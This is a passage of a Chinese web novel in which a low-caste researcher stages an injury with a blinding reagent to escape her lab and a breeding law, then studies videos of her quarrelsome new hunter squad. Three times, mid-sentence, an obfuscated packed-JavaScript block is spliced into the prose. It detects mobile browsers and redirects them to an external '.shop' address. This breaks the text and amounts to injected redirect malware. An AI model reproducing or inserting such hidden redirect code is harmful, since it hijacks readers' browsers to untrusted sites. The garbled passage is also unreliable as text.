“肯定是梁燃的错,她第一次去就让队伍全军覆没,连带我们也遭了殃。” “本来梁指挥长说过的,她会带领我们走向平等自由......可她死了,她死了我们怎么办?上周我妹妹去看病,都是同样的病,凭什么医生给她的药就缺这个缺那个,给一等民就是满满一包?!” 组织对接人也没辙:“没有办法,组织猜测应该是因为梁燃现在的身份,研究员嘛...主城需要她,有人保着她的。” “也不知道多厉害的人才能把她拉下马,让她受到应有的惩罚。” 林百愤懑地关掉了传讯器,但恼怒之余又忽然有些后悔,他一个小啰啰,不该和关系户硬碰硬的,这不现在尴尬了吧。 就在林百的脑子乱成一团时,梁燃的声音突然响起。 “站在门口干什么,怎么还不进来?” 梁燃一边给解剖刀消毒,一边看向门口的方向。 林百猛地回过神,这才发现自己已经走到实验室门口了,他尴尬地打了个招呼,讪讪走到梁燃面前,“你...您需要我做什么?” 梁燃冲他点了下头,“帮我调配下试剂,材料在柜子的三排二列,粉晶色固体,四百度高温熔化后给我,”梁燃把注射剂递给林百,“我需要十毫升。” “好、好的。” 林百接过注射剂后,下意识舒了口气,他擦了擦手心里的汗,快步走去柜子那里开始调配试剂。 实验室每个柜子的右上角都贴着纸条,标明了每个材料的作用。 “铂尔粉晶体,可用来检测异种是否畏光,推荐使用量0.1ml/3000g。” 林百默念着柜子上的字,顺手拿过量杯,从柜子中取出十克铂尔粉晶体。 紧接着他的视线缓缓下移,注意到纸条上的最后一句话。 “不可作用于人体,具有轻微毒性,易致盲。” “........” 林百的手忽然抖了一下。 6.006 林百盯着那行加粗的小字,出神了片刻。 不久前,部分二等公民联合组织,也就是末日共生组织发给他的话,突然涌入他的脑海。 ——毕竟是研究员嘛,有人保着她的。 ——不知道多厉害的人才能拉她下马。 有人保着她的… 林百骤然间想起了自己的妹妹。他的妹妹叫林久,与他一样都是二等公民,但和他的健康不同,林久从小就体弱,需要长期服用多类价格昂贵的药物。他家里情况不是很好,全家努力工作才能共同负担妹妹的医药费用。 但有的事情不是拿钱就能解决的,他已经经历过很多次了,即便拿着相同的钱,医院给一等公民的药量就是会远远多于给他的,可他妹妹也需要药啊。 他妹妹那么小,更需要药啊! 为什么就没人保着妹妹呢?只是因为妹妹是二等公民吗? 可如果要这么去比,梁燃只是最低劣的三等公民,凭什么她会被保护起来? 伴随着思考,林百的眸色阴沉下去。 ——因为她是个研究员。 一个三等公民,如此差劲的基因在异种面前就是人形肉饼,连主城都没资格进入,更何况去主城人才培训基地学习! 如果不是梁点动用职权为梁燃添了一个名额,就算梁燃在基地表现优异又如何?就算她的结业课题至今还贴在基地展墙上又如何? 如果没有一等公民的姐姐,她无论多优秀都进不了主城,更不会因为结课成绩优异破例进入研究所。 所以世界为什么这么不公平啊。 林百忽然陷入了思维难题,百思不得其解之下,他转换了个思路,终于找到了罪魁祸首—— 还是因为梁燃。 本来世界可以慢慢变得公平的,但梁燃的出现让晨曦小队覆灭了,带领他们走向平等的人没有了,因此世界再也不会好了。 试管内的淡粉色晶体逐渐融化,像朵漂亮的星云在肆意旋转。林百凝视着星云,直到晶体彻底消失,变成一滩静止的液体。 他盖灭了酒精灯,拿起刚才梁燃递过来的针筒,从试管内抽满了十毫升。 他低声问梁燃:“您现在就需要吗?” 梁燃头也不回道:“拿过来吧。” 林百平稳地向梁燃走去,但在距离她还有两米的时候,他忽然感到一种极大的恐慌,脚步突然停下。 注意到脚步声的消失,梁燃一边注视着仪器数据,一边向后伸出手:“在发什么呆?给我。” “啊…啊好的,”林百仓促地举起手里的针筒,这时他后知后觉地反悔了。 他决定暂停自己的计划。 事实上他连自己刚才有什么计划都不清楚,他只是脑子有些乱,在发空,想朝着梁燃走过去,针尖的方向朝前,仅此而已。 至于他到底要怎么做,毕竟他自认不是一个恶毒的人,也从没害过人,所以什么都还没想好。 但这件事不是他单方面想反悔就可以的,因为他举起的针筒此时已经对准了梁燃,而梁燃此刻专注于显示屏,分析着各项异种数据,压根就没往后看。 林百眼睁睁看着梁燃的手抓向虚空,而后直直撞向自己手里的针管,他迅速往回缩手,却只来得及偏离针尖的方向。 “快停下——!”他失声大叫。 一阵刺痛传来。 梁燃转过头,看到的就是在惯性作用下,针管末端顶着小助手的掌心,把粉色液体顺着针尖缓缓推进她手腕的画面。 药力作用下,她眼前瞬间出现一大片的黑影。 小助手慌张无措地冲向报警器,摁铃的力度砰砰响,像是现在快完蛋的人是他爹娘。 “诶你这......” 梁燃有点不懂了,但她的话还没说完,就伴随着小助手杀猪般的叫声轰然倒地。 * 梁燃是被问询声吵醒的。 执法队派人前来查询相关监控,负责人正在与林百对话,林百的声音十分底气不足。 “我不知道,我什么也不知道,我刚来不久,我有些紧张,”林百不断重复着“我”,试图让执法者相信自己行为的合理性,“我不小心拿颠倒了针管,我只承认我做错了这个。” “作为新手你当然可以紧张,”执法队来的是一个英气逼人的女人,她穿着合体的白色执法服,飞速浏览者手中的通讯设备,对着林百提出了一个疑问,“但你前天刚举报过这个研究员,你讨厌她。” “你有令人怀疑的行为动机。” 林百焦虑地绞紧了双手,他争辩道,“是的…确实如此,这个我无法否认,但您也看过录像,我回过神后就立刻往回收手了,我没想要害她,我真的只是走神拿错了,或者说我太累了!” 梁燃闭着眼睛认真地听两人的对话,最后得出结论—— 全在计划之内。 梁燃的解剖台上方有个镜子,如果角度卡得恰到好处,她是可以用余光看到身后场景的。 所以一旦小助手有了不好的念头,她可以精准避开针尖,不让自己的手受伤,同时又让少量的铂尔粉溶液注射进自己的血管。 除此之外,她还做了其他准备。 如果林百完全没有害她的心思,她也可以在解剖异种的途中假装头晕,错手用针尖擦破自己手腕——毕竟她已经在家里的监控前展现过自己通宵研究后的差劲状态。 总之无论过程如何,她今天都一定会被注射致盲类药剂,视力受损。 这出戏是没有办法的办法。 她的科研成果成天被一群人瓜分,那群一等公民们扒在她身上吸血,如果不给自己来点狠的,让自己失去所谓的科研价值,那群人怎么可能放她走? 这边梁燃在思索后续发展,那边争论还在继续。 林百是真的觉得自己无辜,做事合该论迹不论心,就算他真起了一点不好的念头,但他也准备收手了,并且还帮梁燃摁了警铃,让她尽早接受了治疗。 可他又确实举报过梁燃,举报原因里还说了些恶劣的话,比如诅咒她快死什么的,但很多人私底下都这么说,梁燃应该也习惯了,这好像也不算什么严重的事……所以他完全猜不出执法队会怎么处理他。 “我……” 林百嗫嚅着看向严肃的女人,他提出了自己想了半天的解决办法,“如果我愿意支付治疗费用呢?” “这种试剂应该都有消解剂吧,梁燃她…她注射的量很少,不会真致盲的…” 执法者看向手术台边的医生,医生关闭了头顶的照明灯,汇报道: “铂尔粉晶体消解剂的原材料在重度污染区,院内已经没有储备,就算有也不会用在三等公民身上。此外,注射量确实极少,还没达到致盲量,但视力受影响是肯定的。” “看她醒了后的反应吧,如果视力出现严重下降,我个人建议让她离开实验室。” 一边说话,医生一边摘下了眼镜,吐出的话极为冷酷,“毕竟解剖台上任何切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726495|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 割点的错误都会造成异种出现异常,任何一只异种失去研究价值都是主城极大的损失。” “麻烦你了,”执法者对着医生点了下头。 医生再在这儿待着也没什么用了,所以收拾好东西就离开了研究所。 听着远去的脚步声,梁燃知道该她醒了,于是缓缓睁开眼睛。 刚睁开双眼,她就意识到自己视力确实下降了,眼前有些模糊,像是遮了层薄薄的纱。 如果硬要形容,大概就是一个视力2.0的人突然变成1.0,确实模糊了,但也比一般人要好,完全不影响生活,更不影响她看清异种的模样。 虽然对自己的注射量有把握,但当梁燃确认这点后,还是在心里松了口气。 这种程度的视力受损在她的接受范围内。 最重要的是,这种视力受损不是不可逆的,只要找到消解剂的原材料,她的视力就会恢复如初。 注意到梁燃醒了,林百迅速跑到她面前,举起手指在她眼前晃:“你能看清这是几吗?” 梁燃点点头。 林百猛地松了口气,他刚要说话,执法者就拿起一个培养皿,递到梁燃面前: “我需要确定你的视力受损情况,可以数清上面有多少活血管吗?” 梁燃抿了下唇,凑近了去瞧。 这个培养皿内装着的是食人鲵骨椎的一小截,大多数血管已经坏死发黑,只有少数十几条血管还是鲜红色的。 但那血管实在太细了,最细的蚕丝都比不上它那若隐若现的细度。梁燃费了点劲才数清,可她并没有说话。 静默了足足两分钟,她才乱说道:“十三条,是十三条吗?” 林百瞬间屏住了呼吸,他惊慌地看向执法者,身子微微颤抖起来。 如今研究员如此稀缺,每一个都受到主城额外的保护,从研究所特意从A级医院叫来医生就能看出来,即便梁燃只是一个三等公民,研究所也愿意去浪费一个一等公民的时间,让她为梁燃看病。 而他现在让梁燃的视力受损了。 谁都清楚,研究员可以身体欠佳,但绝对不能视力有碍,如今的梁燃已经很难再在解剖台前工作了。 林百双腿一软,竟哆嗦着瘫在了地上。 但等了许久,他想象中狂风暴雨般的惩戒并没有出现。 执法者叹了口气,她把自己刚才放在桌上的手枪别回腰带,又正了正帽檐: “林百…是叫林百对吧?你明天记得去监管部缴纳罚款,以后搞实验小心点,别再出现这种事。” 林百:“……” 他的表情有些茫然,甚至可以说是不敢置信,两相对比之下,梁燃就接受良好了。 她隐晦地扯了下唇角。 依然是意料之中。 毕竟一个是已经失去价值的三等公民,一个是有点用处的二等公民,执法队的人如何选择根本就不用想。 这也是她可以没有任何心理负担地去做这件事的原因——林百曾经当面辱骂过她,作为惩罚,她想要他害怕一下,反正他也不会受到实质性处罚。 梁燃闭着眼睛躺回床上。 不远处林百的恭维声不断涌入她的脑袋,诸如“我从没见过您这么公平的人”,诸如“如果所有执法者都像您这样秉公执法就好了”。 梁燃掀起眼皮瞄了眼林百,决定给他起个通俗易懂的外号。 就叫他二等及二等以上公民的公平捍卫者吧。 简称公公。 7.007 之后的一切进展都很快。 研究所的副所长前来匆忙核实梁燃的视力情况,脸上是难以掩饰的紧张。 林百送走执法者后彻底不慌了,开始说起风凉话,“换一个嘛。” 他站在副所长身后,帮他分忧,“所长您不知道,梁燃工作起来问题可大了,我都看见她直接上手摸异种胸腔了,那么锋利的牙齿啊,迟早手部受伤被寄生。” “现在的结果对大家都好。” 副所长忍无可忍地转过头,大声呵斥道:“不知道就闭嘴!” 这话戾气极重,林百又被吓得不敢动了。 副所长深吸一口气,回过头来,轻声询问梁燃现在的视力情况。 梁燃摇了摇头,露出一副落寞的表情:“很不好。” “培养皿内细小残肢的生长情况我已经看不清了。” 副所长追问道:“是晶状体的问题吗?我这里有镜片,或许可以解决。” 梁燃再次摇头:“不是,就是眼前多了层雾,有时候还会发黑,和晶状体无关,是神经层面出了问题…”她的声音越来越低,“我也想待在研究所,但情况确实不乐观。” “不知道我修养一阵会不会好转。” 副所长没回这句话,烦躁地揉起眉心。 执法者、医生以及绝大多数研究所工作人员都不知道的事,他可知道得清清楚楚。 梁燃在研究所的价值非比寻常,来的时候就是人才基地最优秀毕业生,三年前遭受重创重回研究所,她更是在外界庞大的精神压力下,各方面能力都出现了质的提升,无论是研究意识还是科研能力都更高了。 最近两年,研究所刊登的多个被主城表彰的异种分析文章,很多就是基于梁燃提供的数据。哪怕研究所把这些研究成果分摊在了各个基因等级高的研究员身上,但这并不意味着他们就有匹配的实力了。 有能力的是梁燃本人。 那种对科研的热爱,对精准数据的追求,以及大胆的推测能力,这些都不是什么变异基因能带来的,只源于一个人的天赋和后天努力。 有时候副所长也会可惜,如果梁燃是一等公民就好了,这样她就有可能成为这一代研究所的领军人物,但没办法,她只是最普通的三等公民。 三等公民里不需要太优秀的人。 不过事已至此,再想什么都无济于事。副所长走出实验室,给监管部门打了电话。 三年前,梁燃从污染区回来后,监管部就嘱咐他派人盯紧梁燃,保证梁燃在研究所工作期间的人身安全。当时他询问对方原因,对方回答说梁燃有用处,说不定隐藏了晨曦小队覆灭的真正原因。 现在他打电话是去问梁燃的后续安排,毕竟梁燃现在的情况,暂时没办法再当好一个研究员,最起码在消解剂出来前,都不能亲自拿着解剖刀上手工作。 他想要知道,如若梁燃需要离开研究所,监管部那边是否还要他这边辅助监视。 电话拨通后,他走到走廊尽头的阴影处,一边接听电话一边点着头。 梁燃支起身子,顺着门缝看去。 声音实在太小了,她眯起眼睛试图看清对方的口型。 梁燃穿越前来自公安家庭,父母职级都比较高,做的事情都挺危险,仇家也很多。 为了梁燃的安全着想,父母从小就培养她对监控器的敏感度,学习如何逃生,如何拆解组装各类仪器,还教她辨别口型等等。 这些技巧不止一次在末世帮了梁燃,比如家里的监控,也比如现在。 副所长站的地方距离有些远,梁燃辨别得比较困难,但还是能读出部分。 “之前您说只需要保证她的生命安全,其他都无所谓,对对……她遇到很多困难……” “是是,那些成果说出去也没人信……” “我还是想申请帮她修复视力,所内缺这样的人……目前科研成果最多的,除了张芝蔓就是她与阿黛尔了,不过张芝蔓年纪大了,已经没几年可活……” 梁燃有点着急了。 对方怎么还想着帮她恢复视力啊? 一天天的也不干个正事,第一次干事就要帮倒忙! 那个消解剂需要的原材料就在她手里,她找个合适的时机熔掉喝了就行,若非有把握肯定能恢复视力,她怎么可能冒这个险? 想到这儿,梁燃下意识摸了摸自己的手套,这双来自梁点的手套,掌心部分用的就是消解剂的原材料。 当初梁点把手套不小心弄破后,拿着从污染区找到的变异植物去找梁燃,让她帮忙提取出该植物柔软但结实的丝,缝进手套缺口。 这件事就写在原主的日记本里,当初梁燃读到这里时,去查了这个植物的作用,当机立断把那页笔记撕了。 所以梁燃现在一门心思全在当随行研究员身上,一点也不需要旁人为了利益给她帮倒忙。 所幸电话对面的人也不想帮她恢复视力。 副所长略带着急的询问声再次响起,因为着急,这句话隔着梁燃甚至可以隐隐听见:“我知道她在您那边没有价值了,您放弃调查她了,但她在所里真的很有用。” “让她在所里当个资料分析员也可以啊!让别人把数据转述给她听,她来做分析!” 对面显然拒绝了副所长的请求。 因为梁燃终于听到了她想听到的话—— “我支持您的一切决定,但梁燃做随行研究员是不是有些可惜……” 梁燃猛地松了口气,舒舒服服地躺回实验室的解剖台上,心情惬意得像是沐浴在旧世界的阳光下。 两分钟后,副所长走进了梁燃的实验室,他先是赶走了林百,而后盯着梁燃看了好久。 梁燃看着对方脸上复杂的神色,反应了会儿,才分辨出那种神色好像叫做羞愧。 梁燃:? 她反复观看对方的神色,对于这个多次强制要求她转让研究成果的人,她没想到他还能拥有这种属于人类的羞愧表情。 但还没等她询问,副所长就语速极快地说道:“我刚才没控制住音量,你应该也听到了。” “对于这个结果我很抱歉。” 梁燃:“……抱歉?” 副所长点头:“是的,抱歉。” 他轻声解释道:“你母亲是我的恩人。” 梁燃:“?” “很多年前,那时候我才十几岁,还是一个三等公民,”副所长一边说话,一边露出唏嘘又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730447|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀念的神色,“很偶然的机会下,我认识了你母亲,有天她突然给我送来了一支基因变异剂,她说她看过我随意摆弄的那些小玩意,说我有做研究的天赋,如果能成功出现后天基因变异,她希望我能进入研究所,有机会的话,帮帮她的女儿。” “她说她的小女儿虽然注射了变异剂,但没有成功,只是一个可爱的普通人,但她的大女儿基因等级是S+,必然会成为最高执法者之一,小女儿知道这件事后一直吵吵着要进入研究所帮助姐姐,她想要自己的女儿们都开心。” “后来我基因出现变异,是A级,当天就进入人才基地,四年前调任来到这里,成为研究所副所长。” 他看着梁燃,表情里满是抱歉: “我让你做的那些事情也是没办法,我本来想着最起码能保住你的性命。” 梁燃沉默下来。 片刻,她盯着对方的神色,缓缓点了下头: “哦。” 临到故事结尾了,觉得不安了,装什么呢。 平日里她实验室地上被泼的黏滑液体,戳了好几个洞的白大褂,掰断的针管,这些赤裸裸的霸凌他是一言不发,这会儿说着想要保住她的命啦? 他是一点偷偷摸摸的帮助也不能给她了是吧? 死装。 梁燃不想配合他的表演,当即捂住脑袋,抽气道:“稍等,我的头忽然有些疼,可能是副作用。” “不过还是谢谢你...” 副所长的眼睛微亮。 梁燃赶紧接上了上句话:“谢谢你让我记起母亲对我有多好。” 副所长梗了一下,但看着梁燃难受的表情,他只能尴尬地笑了笑,“不客气。” “我跟你说说随行研究员的事情吧。” 梁燃揉着太阳穴,轻点了下头:“麻烦了。” 副所长挑着能说的简单说了下:“两天前玄星小队的随行研究员死在污染区了,你应该有印象,你解剖的那条裂口人鱼就是他们带回来的。” “这个队伍的队长是S级力量基因携带者,主城唯一一个双基因变异方向携带者也在队伍里,另外,队伍里还有个叫宋神爱的女孩,虽然基因等级只是B+,但她是现任大主教的女儿。总之这个队伍刚成立一个多月,无论是对异种的判断力,还是队员的配合程度都有一点小小的问题……所以他们需要个随行研究员。” “之前所里是准备派张芝蔓去的,不过因为……现在主城那边希望你跟去,出个五六次任务就行,你现在已经没有亲属在世了,这方面的忙帮不上,但你有什么条件都可以提。” 梁燃想了想,回道:“能保留我的实验室吗?” “任务与任务之间有休息日,我想有空来看看新的异种情况。” 这并不是什么麻烦的要求,副所长自己就能决定。 于是他当即点头表示可以。 “还有吗?”他追问道。 梁燃思考了会儿,她想着假如自己真的是原身,按照那么孤僻的性格与痛苦的过往,这时会说些什么。 想了半天,她低声回道:“没有其他请求了。” “感谢主城让我回到污染区。” “我想回去很久了。” 8.008 下午的时候,梁燃被遣送回家,临走前,副所长给了她一些资料,说会有人在这两天联系她。 梁燃回到家后,为了庆祝暂时逃过一劫,从冰箱里拿住自己最喜欢的荔枝味营养液喝起来。 只是有一点很可惜。 梁燃感受着身后那股令人不适的窥探感,往旁侧了侧身子。 从副所长打的那通电话可以听出来,在监视长达三年之久后,监管部门终于放弃了她。他们不再试图从她身中找到三等公民可以活着离开污染区的秘密,也不再尝试挖掘梁点的死因是否与她直接相关。 从今天起,无论那些人觉得曾经的她是侥幸存活,还是拿晨曦小队垫了背,从监管部提议让她成为随行研究员起,她存在的唯一价值就是为玄星小队的初期行动提供现场咨询。 这些道理她都懂,只是她想着既然都这样了,那监管部门应该会把她家的监视器拆掉吧。 反正也觉得她离死不远了,那监控还有什么用呢? 结果又做梦了。 想到这儿,梁燃自嘲地笑了笑。 为了躲避讨厌的监控,梁燃拎着背包走进卧室。 卧室和厕所是这个家唯二两处没被安装监控的地方,梁燃能够自由活动的区域并不多,她之前被自己pua了,还分析了好一阵为啥不给她的卧室安监控,后来得出结论,舍不得。 当然不是舍不得她,而是舍不得梁点。 根据梁燃的猜测,提议与负责监视她的人就是监管部部长,监管部部长,也就是阮梅,她不仅被梁点救过性命,还是梁点成为正式执法长时的最积极拥护者。而且她十分年轻,只比梁燃大两岁,比梁点小三岁,是主城最年轻的当权者之一,曾不止一次在公开场合叫过梁点指挥长姐姐。 梁燃可以肯定,如果有的选,阮梅肯定想代替她成为梁点的亲生妹妹。 而梁燃如今居住的这个家布满了梁点曾经生活的痕迹,尤其是卧室,地毯上还有梁点曾经的毛绒拖鞋,床上有她喜欢的毛毛虫玩偶,墙上挂着的剪纸也是梁点费了很多心思,慢慢磨出来的。 阮梅大概觉得在卧室安装监控会打扰到梁点吧。 哪怕她已经死了。 梁燃一边暗戳戳想自己什么时候也能被人这么尊重,一边翻阅副所长刚才给她的资料。这些资料是关于随行研究员的,但大部分内容梁燃已经在昨晚钻研过,并且有的东西并没有笔记本上来得详细。 梁燃粗略翻完,从中抽出了一页,把其他的都扔到一边。 这里面只有这张值得仔细看。因为上面介绍了玄星小队的队伍组成。 资料显示,玄星小队由五个固定成员组成。 力量型变异者两人,分别叫季婵与宋神爱,基因等级为S和B+,前者作战武器为重型狙击枪,后者作战武器为巨斧。 敏捷型变异者两人,一人叫施如,基因等级B+,携带近战双刀,一人叫随月生,是队伍医生,基因等级A。 还有一个女孩叫巫若子,她是当前主城唯一一个双基因方向变异者,基因强化方向分别是细胞再生与感知强化,两个方向的基因等级都是A,于是她的综合等级判定为A+。 梁燃认真地来回扫视这几段话,最后得出结论—— 这群人确实是主城的心肝宝贝。 因为子宫的基因配对计划,主城的一等公民数量比以前多了许多,占据了希望区总人口的1/7,这1/7的人统领着剩下6/7的二等(D级)与三等(F级)公民。 其中一等公民里以C级最多,S级最少。据梁燃了解,目前主城的S级公民,加起来总共不到八人,每个都像个千层酥似的被层层保护,除去年纪很大、以及拥有重要的职务的S级公民,目前还在猎杀者队伍里活跃的S级基因者,应该只有三人,其中玄星小队就占据了一个。 而且这个队伍里还有主城目前唯一的双基因变异者,特别是那个细胞再生变异方向——细胞再生速度的加快,意味着这个女孩伤口的恢复能力远超常人,哪怕被异种捅穿身体,只要心脏和大脑不碎,就有存活的可能。 这是最稀有的基因变异方向,也是所有人都梦寐以求的基因变异类型,因为拥有了它,就等于凭空多出好几条命。 不过幸运与危险同在,梁燃已经可以预料到这个女孩在队伍里的定位了,大概是探路打头阵的,或者是撤退断后的,毕竟她面对危险时最容易活。 梁燃看完纸张正面后,直接翻到背面,想看看还有什么详细资料。 但刚翻到背面,她就被一片空白刺痛了眼。 梁燃的动作顿住:? ?就这?? 她不可置信地来回翻了好几遍,最终确定了对方真就给她不到两百字的信息。 梁燃:“……” 不是。 恕她直言,这些资料她要真想知道,还用得着对方? 直接搜索引擎不行吗? 梁燃无语地打开通讯仪,在系统里搜索起这群人,但网上的信息基本也就这些,更高级的论坛她权限不够,根本进不去,否则应该是能看到些作战视频的。 梁燃没脾气地叹了口气。 她准备关系统了,但就在这时她忽然一停,想起了她不久前刚看过的,玄星小队活捉裂口人鱼的作战视频。即便那个视频里只有异种和枪击声,没有一个人露过脸,但梁燃还是准备再看一遍。 毕竟她先前只关注了视频里异种的情况,没太注意其他,这次她换个角度,说不定可以看出点其他信息。 想好就干,梁燃当即搜索起来。 因为所有她看过的视频资料都会标记,所以查找的很快,她点开视频所在的文件夹,眼神随意扫过,忽然发现就在这个视频上面,有个标记着“无用”字样的视频录像。 梁燃并不记得她标记过这个,于是皱着眉仔细回忆起来。 很快她就想起来了。 当时玄星小队通过系统发给研究所两个视频,但研究所在观看审核后,在其中一个视频上标记了“无用”,让梁燃只需要看另外那个视频就行。 那时梁燃只想着赶紧分析出异种习性,对这个作废视频没有丝毫好奇,可这会儿不一样了,毕竟是未来一阵时间要相处的队伍,啥相关视频她都想看一眼。 于是梁燃点开了这个视频,背靠着椅子等它加载好。 两分钟后,视频开始播放,首先是一阵电流的滋滋声,然后是“砰”的一声巨响! 梁燃被吓了一跳。 片刻,她稍微坐直了身体,继续观看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732467|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 很快画面就迅速转亮,但飞扬的尘土让一切都看不清晰。 梁燃眯着眼睛凑近了去看。 此时此刻,尘土卷起的烟雾逐渐消散,视频里裂口人鱼庞大的身躯正被一个教会装扮的女孩踩在脚下。女孩穿着与城市废墟格格不入的白金色长裙,浅金色长卷发分扎在耳边,垂在胸前,胸口处别了个太阳造型的精致胸针,上面细碎的宝石在光下不停发着光。 但女孩恶狠狠的表情打破了她装扮营造出来的静谧氛围,她摸了把脸上腥臭黏腻的肉沫,又低头看了眼沾满血污的衣裙,低声咒骂了句什么,抡起巨大的白色斧头猛地砸向异种的头。 女孩一边砸一边怒吼: ——“恶心死了,恶心死了恶心死了!” ——“这是教堂刚洗礼过的裙子,你知道有多贵吗?!” 异种的头很快就变得血肉模糊,这时视频外传来一个尖锐的女声,紧接着就是几发威胁性的射击声。 ——“停下!我让你停下!你没听见吗?!” ——“任务是活捉!” ——“宋神爱你再不停下我就射爆你的头!!” 见宋神爱没有停下的意思,一阵子弹雨当即没有丝毫情面地直冲她的面门,可女孩躲都不躲,气焰嚣张地把斧头砸进异种的胸口,抬着下巴骂: ——“你敢凶我?哈,S级了不起啊?” ——“季婵你算个什么东西,癞蛤蟆拿把枪真当自己是神枪手了??” 说完她从背包里飞速摸出一个手榴弹模样的东西往前方扔去,脸上的表情写满了无所畏惧。 ——“季婵你有种就别躲!今天不炸死你我就不姓宋!!” 手榴弹在空中划出一道危险的弧度,电光石火间,一个身型极高的女人突然冲进镜头里。她在子弹间飞快穿梭了几秒,抓住女孩刚扔出的手榴弹,迅速扔向远处的空地,然后扑向宋神爱—— 几秒后,手榴弹轰然爆炸! 呛人的烟雾中,女人揪着宋神爱的后衣领把她大力压向地面。 “你能不能懂点事?” 女人是背对着摄像镜头的,但极具压迫力的冰冷声线似乎能穿透镜头—— “宋神爱,听队长的话。” 短暂的静默后,有个颤巍巍的声音响起:“我、我们好好执行任务不好吗?” “为什么每天都要打...” 女孩话还没说完,一个幸灾乐祸的男声就插了进来。 他像是看了场极有趣的戏,还鼓了两下掌:“千万别停,这样多好玩啊。不过这个异种好像带不回去了,旁边那个还有点气?” “我被吓得头好晕,只能麻烦你们扛一下咯。” 宋神爱拧着眉心看向镜头外的男生,表情像是活吞了个苍蝇。 “随月生,你比季婵还让我恶心。” 一边说着她还干呕了一声。 男生顿时笑得更开心了,沉闷的笑声很容易让人猜到他的表情,大概是笑得五官乱飞差点背过气。 视频到这里就停止了。 梁燃沉默地盯着黑色屏幕,久久不能回神。 “........” ...不是? 她是犯天条了吗?死前要进这种队? 9.009 梁燃是真的不理解。 上辈子的她不说是个大善人吧,但也年年把奖学金捐出去,学习之余去养老院帮忙,爷爷奶奶们喜欢她都爱给她塞吃的,结果倒了八辈子霉车子失灵直接撞死。这辈子她更是一天福都没享过,活生生人间大怨种,天天为他人做嫁衣,努力三年,归来仍是啥成果都没有的底层研究员。 她不值得老天给点补偿吗? 梁燃盯着屏幕忍不住出神。 她为了逃避繁衍法令已经准备九死一生进污染区了,理应配置些外表强大理智,内在温柔善良,还时不时可爱到冒泡的队友。 当然,梁燃知道这些通通不可能,但不妨碍她想得美。 结果现实比她设想的还要残酷。 梁燃在心里吐槽一阵后,叹了口气,收拾好了心情。 按照她的心理预期,在这个基因等级严格的体系下,一个三等公民混进优质生队伍会面临什么她早就能猜到,大抵不过是孤立嫌弃,但毕竟她有点用处,哪怕被针对也不会太离谱。 可看了玄星小队的相处模式,梁燃忽然有点拿不准。 这群人看起来不像是能收敛的,S级的队长说骂就骂,大主教的女儿也是说揍就揍,完全不留情面和退路。 要知道,在末世时代,宗教的地位超乎想象的高。 梁燃在旧世界时曾看过一本书,里面分析了失落文明的组成。书里说假如文明走向崩坏,那么世界最后一个遗留物一定是信仰,人们妄想在信仰里获得自由与幸福,让不安的生命沉静下来,于是人心越迷失,宗教越庞大,宗教领袖的地位也就越高。 可这个队伍里,除了那个声音听起来比较软的女孩,好像谁都很胆大,根本没在乎这些外界因素。 尤其是那个贱兮兮拱火的,虽然他没动手,但梁燃听到他的说话语气就想踹他了,更可恶。 思及此,梁燃把手机放到一侧,坐在软椅上轻揉起太阳穴。 她把当前处境和自己的想法做了一个复盘。 首先是玄星小队。 从视频可以看出来,不仅是副所长强调的三人,其余两人背景也挺大,大概率不单是一等公民这么简单,否则几人不会是这种互不相让的相处模式,也不太可能被分在一个团队里。 梁燃作为一个当前没有丝毫后台的人,一旦与他们爆发冲突会很难自处,所以她决定尽可能降低自己的存在感,保持好距离,干好自己的工作,只在必要的时候适当提出对异种的看法。 至于提出后他们听不听,就不是梁燃能决定的了。 其次是自己的想法。 她虽然当年在看到梁燃关于手套材质的日记后,就有了这个逃离子宫法令的计划,但她从始至终都很确定,这是最逼不得已的一步。 首先污染区异种很多,有的体型庞大,有的速度奇快,一旦正面对上,她撑不了多久,而她不想被异种吃掉,因为那是世界上最痛苦的死法。 其次各类异种时有进化,她不敢保证自己总能看出对方弱点,假设她出现失误,造成队友重伤甚至身亡,她的结局可能还不如被异种吃掉。 最后也是最重要的,她当不了一辈子的随行研究员。 梁燃完全可以预料到后面发展,她要么死在前几次任务中,要么运气爆棚,顺利活过前期任务,然后被成长起来的小队抛弃,活着回到主城,继续面临子宫匹配的问题。 梁燃很清楚,除非子宫法令废除,基因匹配制度就是她永远要面对的问题。 至于妥协? 梁燃从没想过。 她是人,受过自由与爱的教育,不是被法令操控的玩具。 梁燃就这样静静地坐在椅子上,想了很久很久的以后,在某个瞬间她忽然很想爸爸妈妈,于是走到床上躺好,扯过被子盖在脸上。 梁燃觉得自己好像有点害怕。 又恐惧自己的害怕。 不能这样,梁燃想,不要想家里的监控,不要想过去,更不要想未来。 恐惧会消磨人的斗志,而她要做最坚强的人。 * 